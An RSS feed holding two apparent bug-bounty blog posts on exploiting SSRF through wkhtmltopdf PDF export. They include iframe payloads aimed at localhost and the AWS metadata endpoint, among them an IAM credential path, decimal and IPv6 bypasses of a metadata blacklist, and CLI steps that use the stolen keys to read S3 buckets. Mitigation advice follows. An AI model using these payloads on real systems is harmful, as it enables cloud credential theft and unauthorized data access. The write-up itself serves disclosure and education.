<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Yash Parab on Medium]]></title>
        <description><![CDATA[Stories by Yash Parab on Medium]]></description>
        <link>https://medium.com/@parab500?source=rss-3416354f23d7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*N5B1TIPgHvcQNK4J</url>
            <title>Stories by Yash Parab on Medium</title>
            <link>https://medium.com/@parab500?source=rss-3416354f23d7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 25 Nov 2026 01:40:41 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@parab500/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Part 2 — Exploiting SSRF Vulnerability to Gain Unauthorized Access to AWS Data]]></title>
            <link>https://medium.com/@parab500/part-2-exploiting-ssrf-vulnerability-to-gain-unauthorized-access-to-aws-data-c8e88fd1a724?source=rss-3416354f23d7------2</link>
            <guid isPermaLink="false">https://medium.com/p/c8e88fd1a724</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[metadata]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Yash Parab]]></dc:creator>
            <pubDate>Tue, 30 May 2023 06:51:05 GMT</pubDate>
            <atom:updated>2026-01-30T07:29:41.609Z</atom:updated>
            <content:encoded><![CDATA[<h3>Part 2 — Exploiting SSRF Vulnerability to Gain Unauthorized Access to AWS Data</h3><p>Welcome back hackers, and let’s jump right into part 2 of our SSRF exploitation adventure.</p><p>“If you’re new here, it’s recommended a look at part 1”</p><p><a href="https://medium.com/@yash123637/bf91a42b8e67">Medium</a></p><p><strong>Summary:</strong></p><p>Through the effective exploitation of the SSRF vulnerability, Was able to bypass security protocols and utilize an iFrame to load “<strong><em>localhost</em></strong>” within a PDF file.</p><p><strong>##Let’s pick up where we left off.</strong></p><p>Despite initial excitement, I was unable to access the cloud metadata using the “<strong><em>169.254.169.254” </em></strong>internal IP address of AWS. It provides valuable details like internal IP Address, hostname, project details, and more, but unfortunately, my attempts were unsuccessful.</p><p><strong>Payload I used to access the cloud metadata:</strong></p><pre>&lt;iframe src=http://169.254.169.254/latest/meta-data width=500 height=500&gt;</pre><p>As shown in Exhibit 1.1, I have injected the payload in the “<strong><em>title</em></strong>” parameter and it is reflected in the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OArb8qL6UIDDUVRNiEBl7A.png" /><figcaption><strong>Exhibit 1.1</strong></figcaption></figure><p>As shown in Exhibit 1.2, A PDF was generated by clicking on “<strong><em>Export to PDF</em></strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wnYd6cjZis2V3ySAf5mCcA.png" /><figcaption><strong>Exhibit 1.2</strong></figcaption></figure><p>As shown in Exhibit 1.3, There was no success. The PDF failed to load with AWS metadata.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6QuL4JDHxSxjltylLU0rNA.png" /><figcaption><strong>Exhibit 1.3</strong></figcaption></figure><p>The AWS Metadata IP address met with disappointment — it seems that the IP had been blacklisted.<br>I wasn’t about to give up just yet — I had to explore every angle to find a way in!<br>After some sleuthing, I stumbled upon a solution on GitHub — <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md#ssrf-url-for-aws-bucket"><strong>PayloadsAllTheThings</strong></a><strong>!</strong></p><p><strong>##AWS SSRF Bypasses:</strong></p><pre>Converted Decimal IP: http://2852039166/latest/meta-data/<br>IPV6 Compressed: http://[::ffff:a9fe:a9fe]/latest/meta-data/<br>IPV6 Expanded: http://[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/<br>IPV6/IPV4: http://[0:0:0:0:0:ffff:169.254.169.254]/latest/meta-data/</pre><p><strong>Crafted the payload like this:</strong></p><pre>&lt;iframe src=http://2852039166/latest/meta-data width=500 height=500&gt;<br>&lt;iframe src=http://2852039166/latest/user-data/iam/security-credentials/[ROLE NAME] width=500 height=500&gt;<br>&lt;iframe src=http://2852039166/latest/dynamic/instance-identity/document width=500 height=500&gt;</pre><p>As shown in Exhibit 2.1, I have injected the payload in the <strong>“<em>title</em>”</strong> parameter and it is reflected in the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k4Z2J-ZHV2N_Oxh10xej9A.png" /><figcaption><strong>Exhibit 2.1</strong></figcaption></figure><p>The PDF was generated by following the same steps as demonstrated in “<em>Exhibit 1.2</em>”.</p><p>As shown in Exhibit 2.2, The application successfully loaded and rendered the “<strong><em>latest/meta-data” </em></strong>information within the exported PDF file AWS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gy4LczdbiIK4jBKqXjRiNA.png" /><figcaption><strong>Exhibit 2.2</strong></figcaption></figure><p>As shown in Exhibit 2.3, The application successfully loaded and rendered the “<strong><em>latest/user-data/iam/security-credentials/[ROLE NAME]” </em></strong>information within the exported PDF file AWS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ypf8IKdVIjBh3auLQ2rkEA.png" /><figcaption><strong>Exhibit 2.3</strong></figcaption></figure><p>As shown in Exhibit 2.4, The application successfully loaded and rendered the “<strong><em>latest/dynamic/instance-identity/document” </em></strong>information within the exported PDF file AWS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u4lifzEqolYyGLrO1P-fIQ.png" /><figcaption><strong>Exhibit 2.4</strong></figcaption></figure><p><strong>## Now let’s, Configure AWS Command Line Interface:</strong></p><p>As shown in Exhibit 5<em>, </em>Open your terminal and install the “<strong><em>awscli</em></strong>” and export the data.</p><pre>Open your terminal:<br>~# apt install awscli<br>~# export AWS_ACCESS_KEY_ID=AccessKeyId<br>~# export AWS_SECRET_ACCESS_KEY=SecretAccessKey<br>~# export AWS_DEFAULT_REGION=region<br>~# export AWS_SESSION_TOKEN=Token</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0sxGeoRABvk4_v70N6nWvQ.png" /><figcaption><strong>Exhibit 5</strong></figcaption></figure><p>As shown in Exhibit 6, To get the [UserID].</p><pre>~# aws sts get-caller-identity</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xSNwhKEzEfqZsC9qT9LoCg.png" /><figcaption><strong>Exhibit 6</strong></figcaption></figure><p>As shown in Exhibit 7, Reading the [S3 Bucket].</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4HN8ZGV6-iNR8FqLLTYCIg.png" /><figcaption><strong>Exhibit 7</strong></figcaption></figure><p>As shown in Exhibit 8,<strong><em> </em></strong>Reading the S3 Bucket’s content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*FQYSfHEgcP08jxxK7BKmuQ.png" /><figcaption><strong>Exhibit 8</strong></figcaption></figure><p>The ability to elevate a Server-Side Request Forgery can be achieved in multiple ways, but the specific approach would depend on the environment of your intended target.</p><h3>Securing PDF Generation Against SSRF:</h3><p>For developers reviewing this attack chain and wondering how to prevent similar exploitation, it’s important to recognise that <strong>wkhtmltopdf is the core enabler in many PDF-based SSRF vulnerabilities</strong>.</p><p>wkhtmltopdf is deprecated, no longer actively maintained, and historically allows unrestricted HTML rendering with network access. This design makes it particularly vulnerable to SSRF, including access to internal services and cloud metadata endpoints, as demonstrated in this assessment.</p><p>Modern PDF generation libraries take a different approach. For example, <a href="https://ironpdf.com/"><strong>IronPDF</strong></a><strong> </strong>uses a Chromium-based rendering engine with sandboxing and process isolation, significantly limiting the ability to reach internal or cloud-hosted resources during PDF generation.</p><pre>using IronPdf;<br><br>var renderer = new ChromePdfRenderer();<br>renderer.RenderingOptions.EnableJavaScript = false; // disable JavaScript execution<br>var pdf = renderer.RenderHtmlAsPdf(sanitizedHtml);<br>pdf.SaveAs(&quot;output.pdf&quot;);</pre><p>In addition to sandboxing, disabling JavaScript execution and sanitising user-controlled HTML before rendering further reduces the attack surface. From a security testing perspective, applications using modern Chromium-based PDF rendering engines are <strong>considerably harder to exploit via SSRF</strong> compared to legacy wkhtmltopdf implementations.</p><h3>Mitigation techniques:</h3><ol><li><strong>Disabling Unused URL Schemas</strong>: Disabling unused URL schemes that are not required in the application to reduce the attack surface.</li><li><strong>Authentication for Internal Services</strong>: Implementing authentication for internal services to prevent unauthorized access to sensitive resources.</li><li><strong>Web Application Firewalls (WAF)</strong>: Using a WAF to inspect and filter all incoming traffic to the application, and block malicious requests.</li><li><strong>AWS Service Control Policies (SCPs) to Enforce IMDSv2</strong>: Implementing SCPs to enforce IMDSv2 for EC2 instances to ensure that requests are only made from authorized sources.</li><li><strong>AWS SSM Automation Documents Enforcing IMDSv2</strong>: Using SSM automation documents to automate the configuration of EC2 instances to enforce IMDSv2.</li></ol><p><strong>Closing note: </strong>This exploitation chain highlights how PDF generation features can quietly become high-impact SSRF vectors when built on legacy rendering engines such as wkhtmltopdf. These tools often execute untrusted HTML with broad network access, making internal services and cloud metadata endpoints reachable during rendering.</p><p>A more secure approach is to adopt modern, sandboxed PDF generation libraries. For example, IronPDF uses a Chromium-based rendering engine with process isolation and stronger default security controls, significantly reducing the risk of SSRF exploitation during PDF generation.</p><p>Combined with input sanitisation, restricted resource loading, and disabling JavaScript where possible, such modern PDF engines make attacks like metadata access and localhost probing substantially harder to achieve compared to legacy wkhtmltopdf-based implementations.</p><p>Combined with input sanitisation, restricted resource loading, and disabling JavaScript where possible, such modern PDF engines make attacks like metadata access and localhost probing substantially harder to achieve compared to legacy wkhtmltopdf-based implementations.</p><blockquote>Thank you for reading!</blockquote><blockquote>Don’t forget to follow for more content and updates. Share some love and leave any additional comments below<strong>.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*OcfkpW7OK4vH7ztKmqUlEw.png" /><figcaption><a href="https://www.linkedin.com/in/parab500/">linkedin.com/in/parab500/</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*b56eZWny-8Qt9_rx6VSnUg.png" /><figcaption><a href="https://twitter.com/Parab500">twitter.com/parab500</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/365/1*fE8BLrqLBYn-Zq3uuaTYtg.png" /><figcaption><a href="https://medium.com/@parab500">medium.com/parab500</a></figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c8e88fd1a724" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Part 1 — Uncovering the Vulnerability: How Attackers Can Exploit SSRF via PDF Generation…]]></title>
            <link>https://medium.com/@parab500/part-1-uncovering-the-vulnerability-how-attackers-can-exploit-ssrf-via-pdf-generation-bf91a42b8e67?source=rss-3416354f23d7------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf91a42b8e67</guid>
            <category><![CDATA[vapt]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ssrf-via-pdf-generation]]></category>
            <category><![CDATA[wkhtmltopdf]]></category>
            <category><![CDATA[ssrf]]></category>
            <dc:creator><![CDATA[Yash Parab]]></dc:creator>
            <pubDate>Tue, 30 May 2023 06:48:06 GMT</pubDate>
            <atom:updated>2026-01-06T10:36:56.901Z</atom:updated>
            <content:encoded><![CDATA[<h3>Part 1 — Uncovering the Vulnerability: How Attackers Can Exploit SSRF via PDF Generation (wkhtmltopdf)</h3><blockquote>Hello hackers, I’m excited to share my very first blog on Medium. It’s a thrilling and challenging experience to express my ideas and perspectives in writing, and I can’t wait to see where this journey takes me.</blockquote><h3>Recon</h3><p>Initially, I approached the web/mobile application and its API with low expectations due to the limited functionality that only allows users to create a notepad and perform basic actions. However, within a few hours, I found several P2 (XSS) vulnerabilities, which made the scope more interesting than anticipated. As I continued testing, I discovered the application is using (<strong><em>WKHTMLTOPDF — 0.12.6) </em></strong>from a Chrome extension (<strong><em>wappalyzer</em></strong>), The feature that allows users to generate a PDF, which piqued my interest. In past, I read a blog on SSRF using PDF Generation<strong><em> </em></strong>by Nahamsec’s “<a href="https://docs.google.com/presentation/d/1JdIjHHPsFSgLbaJcHmMkE904jmwPM4xdhEuwhy2ebvo/edit#slide=id.g5df2243028_0_107">Owning the cloud through SSRF and PDF generators</a>”.</p><p>While exploring the application and its features, I stumbled upon a parameter that enabled me to add items and generate a PDF of them. I proceeded to inject various payloads into the note parameters:</p><pre>&lt;iframe src=http://evil.com width=300 height=200&gt;<br>&lt;iframe src=http://169.254.169.254/latest/meta-data width=300 height=200&gt;</pre><p>However, I had no success, as the iframe was unable to communicate with other domains due to the implemented Content-Security Policy.</p><p>As shown in Exhibit 1.1, I have injected the payload in the “<strong><em>note</em>” </strong><em>parameter.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OSOVG_xptjUwSAlWQlMCaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*YBW5niyY7OykkDZjdcxmnA.png" /><figcaption><strong>Exhibit 1.1</strong></figcaption></figure><p>As shown in Exhibit 1.2, The payload is injected and iFrame is loaded but it was not able to communicate with other domains due to the implemented Content-Security-Policy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BzaM2hD5LTvHi6IYNVbgCA.png" /><figcaption><strong>Exhibit 1.2</strong></figcaption></figure><p>As shown in Exhibit 1.3, A PDF was generated by clicking on “<strong><em>Export to PDF</em></strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*450_7Y6B9iNans8CFvfCtg.png" /><figcaption><strong>Exhibit 1.3</strong></figcaption></figure><p>As shown in Exhibit 1.4, I opened the PDF and was empty and didn’t load with iFrame in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*i6G7NEMF1CooFOAmCqllQA.png" /><figcaption><strong>Exhibit 1.4</strong></figcaption></figure><p><strong>Note: </strong>“I attempted using URI schemas such as <strong><em>file:///, dict:///, ftp:///,</em></strong> and <strong><em>gopher:///</em></strong> to access internal data and trigger corresponding actions on the server, but unfortunately, <strong>— unsuccessful</strong>”</p><p><strong>Let’s Begin the real fun!🎉</strong></p><p>Eventually, I figured out where to inject the payload.</p><p>I injected the payload into the title, generated the PDF, and suddenly the iframe loaded with localhost in it.<strong> — success!</strong></p><p><strong>Crafted the payload like this:</strong></p><pre>&lt;iframe src=http://localhost width=300 height=200&gt;</pre><p>As shown in Exhibit 2.1, The Payload is injected in the parameter “<strong><em>title</em></strong>” and is reflected in the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ADKXlp9YXjEJQQfYRL4aPg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pn0iPG484etRyRyjXEjy6A.png" /><figcaption><strong>Exhibit 2.1</strong></figcaption></figure><p>As shown in Exhibit 2.2, A PDF was generated by clicking on “<strong><em>Export to PDF</em></strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AEsZPPj0uNM21P050LCLNg.png" /><figcaption><strong>Exhibit 2.2</strong></figcaption></figure><p>As shown in Exhibit 2.3, we can see that SSRF is being executed, resulting in the loading of PDF with “<strong><em>localhost</em></strong>” in the iFrame.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MUzj14emLa42BYv_HQX3_A.png" /><figcaption><strong>Exhibit 2.3</strong></figcaption></figure><pre>                                Part 1: Ends</pre><blockquote>Hold on to your hats, folks, because this ride’s not over yet. In Part 2, we’ll also discuss how choosing secure PDF rendering engines can drastically reduce SSRF risk.</blockquote><p><a href="https://medium.com/@yash123637/c8e88fd1a724">Medium</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*OcfkpW7OK4vH7ztKmqUlEw.png" /><figcaption><a href="https://www.linkedin.com/in/parab500/">linkedin.com/parab500</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/365/1*fE8BLrqLBYn-Zq3uuaTYtg.png" /><figcaption><a href="https://medium.com/@parab500">medium.com/parab500</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*b56eZWny-8Qt9_rx6VSnUg.png" /><figcaption><a href="https://twitter.com/Parab500">twitter.com/parab500</a></figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf91a42b8e67" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>